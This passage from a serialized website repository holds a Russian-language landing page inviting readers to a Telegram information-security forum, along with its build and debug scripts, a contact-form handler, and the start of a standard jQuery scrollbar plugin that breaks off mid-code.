    "content": "<!-- DosX behind you! -->\n<!DOCTYPE html>\n<html lang=\"ru\" class=\"no-js\">\n\n<head>\n    <script src=\"html-guard.min.js\"></script>\n    <script _src=\"html-guard-config.js\"></script>\n    <meta charset=\"utf-8\">\n    <title>> mov eax, 4</title>\n    <meta name=\"title\" content=\"mov eax, 4\">\n    <meta name=\"description\" content=\"Приглашение в Telegram-форум по информационной безопасности 'MOV EAX, 4'\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <meta name=\"author\" content=\"mov eax, 4\">\n    <link rel=\"stylesheet\" href=\"css/style-map-variant.css\" />\n    <script _src=\"js/mov.js\"></script>\n    <script src=\"js/modernizr.custom.js\"></script>\n</head>\n\n<body>\n    <div _id=\"loading\">\n        <div _id=\"preloader\"> <span></span> <span></span> </div>\n    </div>\n    <div class=\"global-overlay\">\n        <div class=\"skew-part\">\n            <div _id='stars'></div>\n            <div _id='stars2'></div>\n            <div _id='stars3'></div>\n        </div>\n    </div>\n    <img _src=\"img/logo.png\" alt=\"\" class=\"brand-logo\" />\n    <section id=\"left-side\">\n        <div class=\"content\">\n            <h1 class=\"text-intro opacity-0\">Приглашаем Вас</h1>\n            <h2 class=\"text-intro opacity-0\">в крупный русскоязычный Telegram-форум, посвящённый тематике информационной безопасности </h2>\n            <nav>\n                <ul>\n                    <li> <a id=\"invite-button\" _onclick=\"invite()\" data-target=\"right-side\" class=\"light-btn text-intro opacity-0\">Присоединиться через Telegram</a> </li>\n                    <li> <a data-dialog=\"somedialog\" class=\"action-btn trigger text-intro opacity-0 hidden-xs\" id=\"open-more-info\">Информация/Правила</a> </li>\n                </ul>\n            </nav>\n        </div>\n    </section>\n    <section id=\"right-side\" class=\"hide-right\">\n        <div class=\"content\">\n            <h3>О 'mov eax, 4'</h3>\n            <p>Начнём с того, что '<b>mov eax, 4</b>' - это сборище единомышленников, объединенных общим интересом к программированию/реверс-инжинирингу/трафферству, да и вообще чем угодно. Здесь вы встретите как людей \"в теме\", так и новичков. Цель проста — обмен опытом и знаниями, создание открытой среды для обсуждения и обучения. Здесь каждый может получить индивидуальную консультацию от других участников, достать редкий софт или просто насладиться приятным общением в окружении с адекватными людьми. </p> <br>\n            <h3>Правила</h3>\n            <p>Следующий свод правил следует соблюдать во избежание возникновения конфликтных ситуаций. Любое нарушение будет <span class=\"red-point\">наказываться</span> администрацией.</p> <br>\n            <p>В рамках форума запрещено:</p>\n            <p>1. Любое проявление неадекватного поведения. (провокации/оскорбления других участников форума, будь то в явном или завуалированном виде)</p>\n            <p>2. Покушение на других участников форума. (попытка деанонимизации, публикация конфиденциальной информации)</p>\n            <p>3. Публикация шок-контента, 18+ материалов или поощрение экстремистской деятельности.</p>\n            <p>4. Использование публикуемого материала против закона.</p>\n            <p>5. Пропаганда наркотических и/или психотропных веществ.</p>\n            <p>6. Отправка или призыв к использованию подозрительных или потенциально небезопасных ресурсов (фишинговые ссылки, вредоносные файлы, призыв использовать МАХ)</p><br>\n            <p>Имейте в виду, что администрация вправе выносить вердикты вопреки правилам, если ситуация принимает очевидно абсурдный характер и может нарушать законы Российской Федерации.</p> <span class=\"separator\"></span>\n            <p><span class=\"red-point\">Мы не пропагандируем незаконную деятельность в сфере информационной безопасности и призываем только к этичному использованию знаний. Любой контент публикуется в сугубо образовательных целях. Использование материалов против закона может и <b>будет</b> караться административной или уголовной ответственностью по всей строгости.</span></p>\n        </div>\n        </div>\n        <footer>\n            <p>© DosX (<a style=\"color: #a78bfa;\" href=\"https://dosx.su/\">https://dosx.su/</a>)</p>\n        </footer>\n    </section> <button id=\"close-more-info\" class=\"hide-close\"><i class=\"icon ion-ios-close-outline\"></i></button>\n    <script src=\"js/jquery.min.js\"></script>\n    <script src=\"js/velocity.min.js\"></script>\n    <script src=\"js/velocity.ui.min.js\"></script>\n    <script src=\"js/jquery.mousewheel.js\"></script>\n    <script src=\"js/jquery.mCustomScrollbar.js\"></script>\n    <script src=\"js/photoswipe.js\"></script>\n    <script src=\"js/photoswipe-ui-default.js\"></script>\n    <script _src=\"js/main.js\"></script>\n</body>\n\n</html>"
  },
  {
    "path": "mov/js/build-src.cmd",
    "content": "start /wait cmd.exe /c javascript-obfuscator -- src_mov.js  --string-array-rotate --split-strings 1 --split-strings-chunk-length 2 --string-array-calls-transform 1 --rename-globals 1 --identifier-names-generator dictionary --control-flow-flattening 1 --control-flow-flattening-threshold 6 --dead-code-injection 1 --dead-code-injection-threshold 5 --numbers-to-expressions 1 --seed %random%random% --simplify 1 --rename-properties 1 --identifiers-prefix \"drv_\"\nstart /wait cmd.exe /c uglifyjs src_mov-obfuscated.js --mangle --compress -o mov.js\ndel src_mov-obfuscated.js /q"
  },
  {
    "path": "mov/js/contact-me.js",
    "content": "$(document).ready(function() {\n\n    $(\"#contact-form [type='submit']\").click(function(e) {\n        e.preventDefault();\n        \n        // Get input field values of the contact form\n        var user_name       = $('input[name=name]').val();\n        var user_email      = $('input[name=email-address]').val();\n        var user_subject    = $('input[name=subject]').val();\n        var user_message    = $('textarea[name=message]').val();\n       \n        // Datadata to be sent to server\n        post_data = {'userName':user_name, 'userEmail':user_email, 'userSubject':user_subject, 'userMessage':user_message};\n       \n        // Ajax post data to server\n        $.post('php/contact-me.php', post_data, function(response){  \n           \n            // Load json data from server and output message    \n            if(response.type == 'error') {\n\n                output = '<div class=\"error-message\"><p>'+response.text+'</p></div>';\n                \n            } else {\n           \n                output = '<div class=\"success-message\"><p>'+response.text+'</p></div>';\n               \n                // After, all the fields are reseted\n                $('#contact-form input').val('');\n                $('#contact-form textarea').val('');\n                \n            }\n           \n            $(\"#answer\").hide().html(output).fadeIn();\n\n        }, 'json');\n\n    });\n   \n    // Reset and hide all messages on .keyup()\n    $(\"#contact-form input, #contact-form textarea\").keyup(function() {\n        $(\"#answer\").fadeOut();\n    });\n   \n});"
  },
  {
    "path": "mov/js/debug.cmd",
    "content": "del mov.js /q\ncopy src_mov.js mov.js"
  },
  {
    "path": "mov/js/jquery.mCustomScrollbar.js",
    "content": "/*\n== malihu jquery custom scrollbar plugin == \nVersion: 3.0.9 \nPlugin URI: http://manos.malihu.gr/jquery-custom-content-scroller \nAuthor: malihu\nAuthor URI: http://manos.malihu.gr\nLicense: MIT License (MIT)\n*/\n\n/*\nCopyright 2010 Manos Malihutsakis (email: manos@malihu.gr)\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n*/\n\n/*\nThe code below is fairly long, fully commented and should be normally used in development. \nFor production, use either the minified jquery.mCustomScrollbar.min.js script or \nthe production-ready jquery.mCustomScrollbar.concat.min.js which contains the plugin \nand dependencies (minified). \n*/\n\n(function(factory){\n\tif(typeof module!==\"undefined\" && module.exports){\n\t\tmodule.exports=factory;\n\t}else{\n\t\tfactory(jQuery,window,document);\n\t}\n}(function($){\n(function(init){\n\tvar _rjs=typeof define===\"function\" && define.amd, /* RequireJS */\n\t\t_njs=typeof module !== \"undefined\" && module.exports, /* NodeJS */\n\t\t_dlp=(\"https:\"==document.location.protocol) ? \"https:\" : \"http:\", /* location protocol */\n\t\t_url=\"cdnjs.cloudflare.com/ajax/libs/jquery-mousewheel/3.1.12/jquery.mousewheel.min.js\";\n\tif(!_rjs){\n\t\tif(_njs){\n\t\t\trequire(\"jquery-mousewheel\")($);\n\t\t}else{\n\t\t\t/* load jquery-mousewheel plugin (via CDN) if it's not present or not loaded via RequireJS \n\t\t\t(works when mCustomScrollbar fn is called on window load) */\n\t\t\t$.event.special.mousewheel || $(\"head\").append(decodeURI(\"%3Cscript src=\"+_dlp+\"//\"+_url+\"%3E%3C/script%3E\"));\n\t\t}\n\t}\n\tinit();\n}(function(){\n\t\n\t/* \n\t----------------------------------------\n\tPLUGIN NAMESPACE, PREFIX, DEFAULT SELECTOR(S) \n\t----------------------------------------\n\t*/\n\t\n\tvar pluginNS=\"mCustomScrollbar\",\n\t\tpluginPfx=\"mCS\",\n\t\tdefaultSelector=\".mCustomScrollbar\",\n\t\n\t\n\t\t\n\t\n\t\n\t/* \n\t----------------------------------------\n\tDEFAULT OPTIONS \n\t----------------------------------------\n\t*/\n\t\n\t\tdefaults={\n\t\t\t/*\n\t\t\tset element/content width/height programmatically \n\t\t\tvalues: boolean, pixels, percentage \n\t\t\t\toption\t\t\t\t\t\tdefault\n\t\t\t\t-------------------------------------\n\t\t\t\tsetWidth\t\t\t\t\tfalse\n\t\t\t\tsetHeight\t\t\t\t\tfalse\n\t\t\t*/\n\t\t\t/*\n\t\t\tset the initial css top property of content  \n\t\t\tvalues: string (e.g. \"-100px\", \"10%\" etc.)\n\t\t\t*/\n\t\t\tsetTop:0,\n\t\t\t/*\n\t\t\tset the initial css left property of content  \n\t\t\tvalues: string (e.g. \"-100px\", \"10%\" etc.)\n\t\t\t*/\n\t\t\tsetLeft:0,\n\t\t\t/* \n\t\t\tscrollbar axis (vertical and/or horizontal scrollbars) \n\t\t\tvalues (string): \"y\", \"x\", \"yx\"\n\t\t\t*/\n\t\t\taxis:\"y\",\n\t\t\t/*\n\t\t\tposition of scrollbar relative to content  \n\t\t\tvalues (string): \"inside\", \"outside\" (\"outside\" requires elements with position:relative)\n\t\t\t*/\n\t\t\tscrollbarPosition:\"inside\",\n\t\t\t/*\n\t\t\tscrolling inertia\n\t\t\tvalues: integer (milliseconds)\n\t\t\t*/\n\t\t\tscrollInertia:950,\n\t\t\t/* \n\t\t\tauto-adjust scrollbar dragger length\n\t\t\tvalues: boolean\n\t\t\t*/\n\t\t\tautoDraggerLength:true,\n\t\t\t/*\n\t\t\tauto-hide scrollbar when idle \n\t\t\tvalues: boolean\n\t\t\t\toption\t\t\t\t\t\tdefault\n\t\t\t\t-------------------------------------\n\t\t\t\tautoHideScrollbar\t\t\tfalse\n\t\t\t*/\n\t\t\t/*\n\t\t\tauto-expands scrollbar on mouse-over and dragging\n\t\t\tvalues: boolean\n\t\t\t\toption\t\t\t\t\t\tdefault\n\t\t\t\t-------------------------------------\n\t\t\t\tautoExpandScrollbar\t\t\tfalse\n\t\t\t*/\n\t\t\t/*\n\t\t\talways show scrollbar, even when there's nothing to scroll \n\t\t\tvalues: integer (0=disable, 1=always show dragger rail and buttons, 2=always show dragger rail, dragger and buttons), boolean\n\t\t\t*/\n\t\t\talwaysShowScrollbar:0,\n\t\t\t/*\n\t\t\tscrolling always snaps to a multiple of this number in pixels\n\t\t\tvalues: integer\n\t\t\t\toption\t\t\t\t\t\tdefault\n\t\t\t\t-------------------------------------\n\t\t\t\tsnapAmount\t\t\t\t\tnull\n\t\t\t*/\n\t\t\t/*\n\t\t\twhen snapping, snap with this number in pixels as an offset \n\t\t\tvalues: integer\n\t\t\t*/\n\t\t\tsnapOffset:0,\n\t\t\t/* \n\t\t\tmouse-wheel scrolling\n\t\t\t*/\n\t\t\tmouseWheel:{\n\t\t\t\t/* \n\t\t\t\tenable mouse-wheel scrolling\n\t\t\t\tvalues: boolean\n\t\t\t\t*/\n\t\t\t\tenable:true,\n\t\t\t\t/* \n\t\t\t\tscrolling amount in pixels\n\t\t\t\tvalues: \"auto\", integer \n\t\t\t\t*/\n\t\t\t\tscrollAmount:\"auto\",\n\t\t\t\t/* \n\t\t\t\tmouse-wheel scrolling axis \n\t\t\t\tthe default scrolling direction when both vertical and horizontal scrollbars are present \n\t\t\t\tvalues (string): \"y\", \"x\" \n\t\t\t\t*/\n\t\t\t\taxis:\"y\",\n\t\t\t\t/* \n\t\t\t\tprevent the default behaviour which automatically scrolls the parent element(s) when end of scrolling is reached \n\t\t\t\tvalues: boolean\n\t\t\t\t\toption\t\t\t\t\t\tdefault\n\t\t\t\t\t-------------------------------------\n\t\t\t\t\tpreventDefault\t\t\t\tnull\n\t\t\t\t*/\n\t\t\t\t/*\n\t\t\t\tthe reported mouse-wheel delta value. The number of lines (translated to pixels) one wheel notch scrolls.  \n\t\t\t\tvalues: \"auto\", integer \n\t\t\t\t\"auto\" uses the default OS/browser value \n\t\t\t\t*/\n\t\t\t\tdeltaFactor:\"auto\",\n\t\t\t\t/*\n\t\t\t\tnormalize mouse-wheel delta to -1 or 1 (disables mouse-wheel acceleration) \n\t\t\t\tvalues: boolean\n\t\t\t\t\toption\t\t\t\t\t\tdefault\n\t\t\t\t\t-------------------------------------\n\t\t\t\t\tnormalizeDelta\t\t\t\tnull\n\t\t\t\t*/\n\t\t\t\t/*\n\t\t\t\tinvert mouse-wheel scrolling direction \n\t\t\t\tvalues: boolean\n\t\t\t\t\toption\t\t\t\t\t\tdefault\n\t\t\t\t\t-------------------------------------\n\t\t\t\t\tinvert\t\t\t\t\t\tnull\n\t\t\t\t*/\n\t\t\t\t/*\n\t\t\t\tthe tags that disable mouse-wheel when cursor is over them\n\t\t\t\t*/\n\t\t\t\tdisableOver:[\"select\",\"option\",\"keygen\",\"datalist\",\"textarea\"]\n\t\t\t},\n\t\t\t/* \n\t\t\tscrollbar buttons\n\t\t\t*/\n\t\t\tscrollButtons:{ \n\t\t\t\t/*\n\t\t\t\tenable scrollbar buttons\n\t\t\t\tvalues: boolean\n\t\t\t\t\toption\t\t\t\t\t\tdefault\n\t\t\t\t\t-------------------------------------\n\t\t\t\t\tenable\t\t\t\t\t\tnull\n\t\t\t\t*/\n\t\t\t\t/*\n\t\t\t\tscrollbar buttons scrolling type \n\t\t\t\tvalues (string): \"stepless\", \"stepped\"\n\t\t\t\t*/\n\t\t\t\tscrollType:\"stepless\",\n\t\t\t\t/*\n\t\t\t\tscrolling amount in pixels\n\t\t\t\tvalues: \"auto\", integer \n\t\t\t\t*/\n\t\t\t\tscrollAmount:\"auto\"\n\t\t\t\t/*\n\t\t\t\ttabindex of the scrollbar buttons\n\t\t\t\tvalues: false, integer\n\t\t\t\t\toption\t\t\t\t\t\tdefault\n\t\t\t\t\t-------------------------------------\n\t\t\t\t\ttabindex\t\t\t\t\tnull\n\t\t\t\t*/\n\t\t\t},\n\t\t\t/* \n\t\t\tkeyboard scrolling\n\t\t\t*/\n\t\t\tkeyboard:{ \n\t\t\t\t/*\n\t\t\t\tenable scrolling via keyboard\n\t\t\t\tvalues: boolean\n\t\t\t\t*/\n\t\t\t\tenable:true,\n\t\t\t\t/*\n\t\t\t\tkeyboard scrolling type \n\t\t\t\tvalues (string): \"stepless\", \"stepped\"\n\t\t\t\t*/\n\t\t\t\tscrollType:\"stepless\",\n\t\t\t\t/*\n\t\t\t\tscrolling amount in pixels\n\t\t\t\tvalues: \"auto\", integer \n\t\t\t\t*/\n\t\t\t\tscrollAmount:\"auto\"\n\t\t\t},\n\t\t\t/*\n\t\t\tenable content touch-swipe scrolling \n\t\t\tvalues: boolean, integer, string (number)\n\t\t\tinteger values define the axis-specific minimum amount required for scrolling momentum\n\t\t\t*/\n\t\t\tcontentTouchScroll:25,\n\t\t\t/*\n\t\t\tadvanced option parameters\n\t\t\t*/\n\t\t\tadvanced:{\n\t\t\t\t/*\n\t\t\t\tauto-expand content horizontally (for \"x\" or \"yx\" axis) \n\t\t\t\tvalues: boolean\n\t\t\t\t\toption\t\t\t\t\t\tdefault\n\t\t\t\t\t-------------------------------------\n\t\t\t\t\tautoExpandHorizontalScroll\tnull\n\t\t\t\t*/\n\t\t\t\t/*\n\t\t\t\tauto-scroll to elements with focus\n\t\t\t\t*/\n\t\t\t\tautoScrollOnFocus:\"input,textarea,select,button,datalist,keygen,a[tabindex],area,object,[contenteditable='true']\",\n\t\t\t\t/*\n\t\t\t\tauto-update scrollbars on content, element or viewport resize \n\t\t\t\tshould be true for fluid layouts/elements, adding/removing content dynamically, hiding/showing elements, content with images etc. \n\t\t\t\tvalues: boolean\n\t\t\t\t*/\n\t\t\t\tupdateOnContentResize:true,\n\t\t\t\t/*\n\t\t\t\tauto-update scrollbars each time each image inside the element is fully loaded \n\t\t\t\tvalues: boolean\n\t\t\t\t*/\n\t\t\t\tupdateOnImageLoad:true,\n\t\t\t\t/*\n\t\t\t\tauto-update scrollbars based on the amount and size changes of specific selectors \n\t\t\t\tuseful when you need to update the scrollbar(s) automatically, each time a type of element is added, removed or changes its size \n\t\t\t\tvalues: boolean, string (e.g. \"ul li\" will auto-update scrollbars each time list-items inside the element are changed) \n\t\t\t\ta value of true (boolean) will auto-update scrollbars each time any element is changed\n\t\t\t\t\toption\t\t\t\t\t\tdefault\n\t\t\t\t\t-------------------------------------\n\t\t\t\t\tupdateOnSelectorChange\t\tnull\n\t\t\t\t*/\n\t\t\t\t/*\n\t\t\t\textra selectors that'll release scrollbar dragging upon mouseup, pointerup, touchend etc. (e.g. \"selector-1, selector-2\")\n\t\t\t\t\toption\t\t\t\t\t\tdefault\n\t\t\t\t\t-------------------------------------\n\t\t\t\t\treleaseDraggableSelectors\tnull\n\t\t\t\t*/\n\t\t\t\t/*\n\t\t\t\tauto-update timeout \n\t\t\t\tvalues: integer (milliseconds)\n\t\t\t\t*/\n\t\t\t\tautoUpdateTimeout:60\n\t\t\t},\n\t\t\t/* \n\t\t\tscrollbar theme \n\t\t\tvalues: string (see CSS/plugin URI for a list of ready-to-use themes)\n\t\t\t*/\n\t\t\ttheme:\"light\",\n\t\t\t/*\n\t\t\tuser defined callback functions\n\t\t\t*/\n\t\t\tcallbacks:{\n\t\t\t\t/*\n\t\t\t\tAvailable callbacks: \n\t\t\t\t\tcallback\t\t\t\t\tdefault\n\t\t\t\t\t-------------------------------------\n\t\t\t\t\tonInit\t\t\t\t\t\tnull\n\t\t\t\t\tonScrollStart\t\t\t\tnull\n\t\t\t\t\tonScroll\t\t\t\t\tnull\n\t\t\t\t\tonTotalScroll\t\t\t\tnull\n\t\t\t\t\tonTotalScrollBack\t\t\tnull\n\t\t\t\t\twhileScrolling\t\t\t\tnull\n\t\t\t\t\tonOverflowY\t\t\t\t\tnull\n\t\t\t\t\tonOverflowX\t\t\t\t\tnull\n\t\t\t\t\tonOverflowYNone\t\t\t\tnull\n\t\t\t\t\tonOverflowXNone\t\t\t\tnull\n\t\t\t\t\tonImageLoad\t\t\t\t\tnull\n\t\t\t\t\tonSelectorChange\t\t\tnull\n\t\t\t\t\tonUpdate\t\t\t\t\tnull\n\t\t\t\t*/\n\t\t\t\tonTotalScrollOffset:0,\n\t\t\t\tonTotalScrollBackOffset:0,\n\t\t\t\talwaysTriggerOffsets:true\n\t\t\t}\n\t\t\t/*\n\t\t\tadd scrollbar(s) on all elements matching the current selector, now and in the future \n\t\t\tvalues: boolean, string \n\t\t\tstring values: \"on\" (enable), \"once\" (disable after first invocation), \"off\" (disable)\n\t\t\tliveSelector values: string (selector)\n\t\t\t\toption\t\t\t\t\t\tdefault\n\t\t\t\t-------------------------------------\n\t\t\t\tlive\t\t\t\t\t\tfalse\n\t\t\t\tliveSelector\t\t\t\tnull\n\t\t\t*/\n\t\t},\n\t\n\t\n\t\n\t\n\t\n\t/* \n\t----------------------------------------\n\tVARS, CONSTANTS \n\t----------------------------------------\n\t*/\n\t\n\t\ttotalInstances=0, /* plugin instances amount */\n\t\tliveTimers={}, /* live option timers */\n\t\toldIE=(window.attachEvent && !window.addEventListener) ? 1 : 0, /* detect IE < 9 */\n\t\ttouchActive=false,touchable, /* global touch vars (for touch and pointer events) */\n\t\t/* general plugin classes */\n\t\tclasses=[\n\t\t\t\"mCSB_dragger_onDrag\",\"mCSB_scrollTools_onDrag\",\"mCS_img_loaded\",\"mCS_disabled\",\"mCS_destroyed\",\"mCS_no_scrollbar\",\n\t\t\t\"mCS-autoHide\",\"mCS-dir-rtl\",\"mCS_no_scrollbar_y\",\"mCS_no_scrollbar_x\",\"mCS_y_hidden\",\"mCS_x_hidden\",\"mCSB_draggerContainer\",\n\t\t\t\"mCSB_buttonUp\",\"mCSB_buttonDown\",\"mCSB_buttonLeft\",\"mCSB_buttonRight\"\n\t\t],\n\t\t\n\t\n\t\n\t\n\t\n\t/* \n\t----------------------------------------\n\tMETHODS \n\t----------------------------------------\n\t*/\n\t\n\t\tmethods={\n\t\t\t\n\t\t\t/* \n\t\t\tplugin initialization method \n\t\t\tcreates the scrollbar(s), plugin data object and options\n\t\t\t----------------------------------------\n\t\t\t*/\n\t\t\t\n\t\t\tinit:function(options){\n\t\t\t\t\n\t\t\t\tvar options=$.extend(true,{},defaults,options),\n\t\t\t\t\tselector=_selector.call(this); /* validate selector */\n\t\t\t\t\n\t\t\t\t/* \n\t\t\t\tif live option is enabled, monitor for elements matching the current selector and \n\t\t\t\tapply scrollbar(s) when found (now and in the future) \n\t\t\t\t*/\n\t\t\t\tif(options.live){\n\t\t\t\t\tvar liveSelector=options.liveSelector || this.selector || defaultSelector, /* live selector(s) */\n\t\t\t\t\t\t$liveSelector=$(liveSelector); /* live selector(s) as jquery object */\n\t\t\t\t\tif(options.live===\"off\"){\n\t\t\t\t\t\t/* \n\t\t\t\t\t\tdisable live if requested \n\t\t\t\t\t\tusage: $(selector).mCustomScrollbar({live:\"off\"}); \n\t\t\t\t\t\t*/\n\t\t\t\t\t\tremoveLiveTimers(liveSelector);\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\t\t\t\t\tliveTimers[liveSelector]=setTimeout(function(){\n\t\t\t\t\t\t/* call mCustomScrollbar fn on live selector(s) every half-second */\n\t\t\t\t\t\t$liveSelector.mCustomScrollbar(options);\n\t\t\t\t\t\tif(options.live===\"once\" && $liveSelector.length){\n\t\t\t\t\t\t\t/* disable live after first invocation */\n\t\t\t\t\t\t\tremoveLiveTimers(liveSelector);\n\t\t\t\t\t\t}\n\t\t\t\t\t},500);\n\t\t\t\t}else{\n\t\t\t\t\tremoveLiveTimers(liveSelector);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t/* options backward compatibility (for versions < 3.0.0) and normalization */\n\t\t\t\toptions.setWidth=(options.set_width) ? options.set_width : options.setWidth;\n\t\t\t\toptions.setHeight=(options.set_height) ? options.set_height : options.setHeight;\n\t\t\t\toptions.axis=(options.horizontalScroll) ? \"x\" : _findAxis(options.axis);\n\t\t\t\toptions.scrollInertia=options.scrollInertia>0 && options.scrollInertia<17 ? 17 : options.scrollInertia;\n\t\t\t\tif(typeof options.mouseWheel!==\"object\" &&  options.mouseWheel==true){ /* old school mouseWheel option (non-object) */\n\t\t\t\t\toptions.mouseWheel={enable:true,scrollAmount:\"auto\",axis:\"y\",preventDefault:false,deltaFactor:\"auto\",normalizeDelta:false,invert:false}\n\t\t\t\t}\n\t\t\t\toptions.mouseWheel.scrollAmount=!options.mouseWheelPixels ? options.mouseWheel.scrollAmount : options.mouseWheelPixels;\n\t\t\t\toptions.mouseWheel.normalizeDelta=!options.advanced.normalizeMouseWheelDelta ? options.mouseWheel.normalizeDelta : options.advanced.normalizeMouseWheelDelta;\n\t\t\t\toptions.scrollButtons.scrollType=_findScrollButtonsType(options.scrollButtons.scrollType); \n\t\t\t\t\n\t\t\t\t_theme(options); /* theme-specific options */\n\t\t\t\t\n\t\t\t\t/* plugin constructor */\n\t\t\t\treturn $(selector).each(function(){\n\t\t\t\t\t\n\t\t\t\t\tvar $this=$(this);\n\t\t\t\t\t\n\t\t\t\t\tif(!$this.data(pluginPfx)){ /* prevent multiple instantiations */\n\t\t\t\t\t\n\t\t\t\t\t\t/* store options and create objects in jquery data */\n\t\t\t\t\t\t$this.data(pluginPfx,{\n\t\t\t\t\t\t\tidx:++totalInstances, /* instance index */\n\t\t\t\t\t\t\topt:options, /* options */\n\t\t\t\t\t\t\tscrollRatio:{y:null,x:null}, /* scrollbar to content ratio */\n\t\t\t\t\t\t\toverflowed:null, /* overflowed axis */\n\t\t\t\t\t\t\tcontentReset:{y:null,x:null}, /* object to check when content resets */\n\t\t\t\t\t\t\tbindEvents:false, /* object to check if events are bound */\n\t\t\t\t\t\t\ttweenRunning:false, /* object to check if tween is running */\n\t\t\t\t\t\t\tsequential:{}, /* sequential scrolling object */\n\t\t\t\t\t\t\tlangDir:$this.css(\"direction\"), /* detect/store direction (ltr or rtl) */\n\t\t\t\t\t\t\tcbOffsets:null, /* object to check whether callback offsets always trigger */\n\t\t\t\t\t\t\t/* \n\t\t\t\t\t\t\tobject to check how scrolling events where last triggered \n\t\t\t\t\t\t\t\"internal\" (default - triggered by this script), \"external\" (triggered by other scripts, e.g. via scrollTo method) \n\t\t\t\t\t\t\tusage: object.data(\"mCS\").trigger\n\t\t\t\t\t\t\t*/\n\t\t\t\t\t\t\ttrigger:null\n\t\t\t\t\t\t});\n\t\t\t\t\t\t\n\t\t\t\t\t\tvar d=$this.data(pluginPfx),o=d.opt,\n\t\t\t\t\t\t\t/* HTML data attributes */\n\t\t\t\t\t\t\thtmlDataAxis=$this.data(\"mcs-axis\"),htmlDataSbPos=$this.data(\"mcs-scrollbar-position\"),htmlDataTheme=$this.data(\"mcs-theme\");\n\t\t\t\t\t\t \n\t\t\t\t\t\tif(htmlDataAxis){o.axis=htmlDataAxis;} /* usage example: data-mcs-axis=\"y\" */\n\t\t\t\t\t\tif(htmlDataSbPos){o.scrollbarPosition=htmlDataSbPos;} /* usage example: data-mcs-scrollbar-position=\"outside\" */\n\t\t\t\t\t\tif(htmlDataTheme){ /* usage example: data-mcs-theme=\"minimal\" */\n\t\t\t\t\t\t\to.theme=htmlDataTheme;\n\t\t\t\t\t\t\t_theme(o); /* theme-specific options */\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\t_pluginMarkup.call(this); /* add plugin markup */\n\t\t\t\t\t\t\n\t\t\t\t\t\t$(\"#mCSB_\"+d.idx+\"_container img:not(.\"+classes[2]+\")\").addClass(classes[2]); /* flag loaded images */\n\t\t\t\t\t\t\n\t\t\t\t\t\tmethods.update.call(null,$this); /* call the update method */\n\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t});\n\t\t\t\t\n\t\t\t},\n\t\t\t/* ---------------------------------------- */\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t/* \n\t\t\tplugin update method \n\t\t\tupdates content and scrollbar(s) values, events and status \n\t\t\t----------------------------------------\n\t\t\tusage: $(selector).mCustomScrollbar(\"update\");\n\t\t\t*/\n\t\t\t\n\t\t\tupdate:function(el,cb){\n\t\t\t\t\n\t\t\t\tvar selector=el || _selector.call(this); /* validate selector */\n\t\t\t\t\n\t\t\t\treturn $(selector).each(function(){\n\t\t\t\t\t\n\t\t\t\t\tvar $this=$(this);\n\t\t\t\t\t\n\t\t\t\t\tif($this.data(pluginPfx)){ /* check if plugin has initialized */\n\t\t\t\t\t\t\n\t\t\t\t\t\tvar d=$this.data(pluginPfx),o=d.opt,\n\t\t\t\t\t\t\tmCSB_container=$(\"#mCSB_\"+d.idx+\"_container\"),\n\t\t\t\t\t\t\tmCSB_dragger=[$(\"#mCSB_\"+d.idx+\"_dragger_vertical\"),$(\"#mCSB_\"+d.idx+\"_dragger_horizontal\")];\n\t\t\t\t\t\t\n\t\t\t\t\t\tif(!mCSB_container.length){return;}\n\t\t\t\t\t\t\n\t\t\t\t\t\tif(d.tweenRunning){_stop($this);} /* stop any running tweens while updating */\n\t\t\t\t\t\t\n\t\t\t\t\t\t/* if element was disabled or destroyed, remove class(es) */\n\t\t\t\t\t\tif($this.hasClass(classes[3])){$this.removeClass(classes[3]);}\n\t\t\t\t\t\tif($this.hasClass(classes[4])){$this.removeClass(classes[4]);}\n\t\t\t\t\t\t\n\t\t\t\t\t\t_maxHeight.call(this); /* detect/set css max-height value */\n\t\t\t\t\t\t\n\t\t\t\t\t\t_expandContentHorizontally.call(this); /* expand content horizontally */\n\t\t\t\t\t\t\n\t\t\t\t\t\tif(o.axis!==\"y\" && !o.advanced.autoExpandHorizontalScroll){\n\t\t\t\t\t\t\tmCSB_container.css(\"width\",_contentWidth(mCSB_container.children()));\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\td.overflowed=_overflowed.call(this); /* determine if scrolling is required */\n\t\t\t\t\t\t\n\t\t\t\t\t\t_scrollbarVisibility.call(this); /* show/hide scrollbar(s) */\n\t\t\t\t\t\t\n\t\t\t\t\t\t/* auto-adjust scrollbar dragger length analogous to content */\n\t\t\t\t\t\tif(o.autoDraggerLength){_setDraggerLength.call(this);}\n\t\t\t\t\t\t\n\t\t\t\t\t\t_scrollRatio.call(this); /* calculate and store scrollbar to content ratio */\n\t\t\t\t\t\t\n\t\t\t\t\t\t_bindEvents.call(this); /* bind scrollbar events */\n\t\t\t\t\t\t\n\t\t\t\t\t\t/* reset scrolling position and/or events */\n\t\t\t\t\t\tvar to=[Math.abs(mCSB_container[0].offsetTop),Math.abs(mCSB_container[0].offsetLeft)];\n\t\t\t\t\t\tif(o.axis!==\"x\"){ /* y/yx axis */\n\t\t\t\t\t\t\tif(!d.overflowed[0]){ /* y scrolling is not required */\n\t\t\t\t\t\t\t\t_resetContentPosition.call(this); /* reset content position 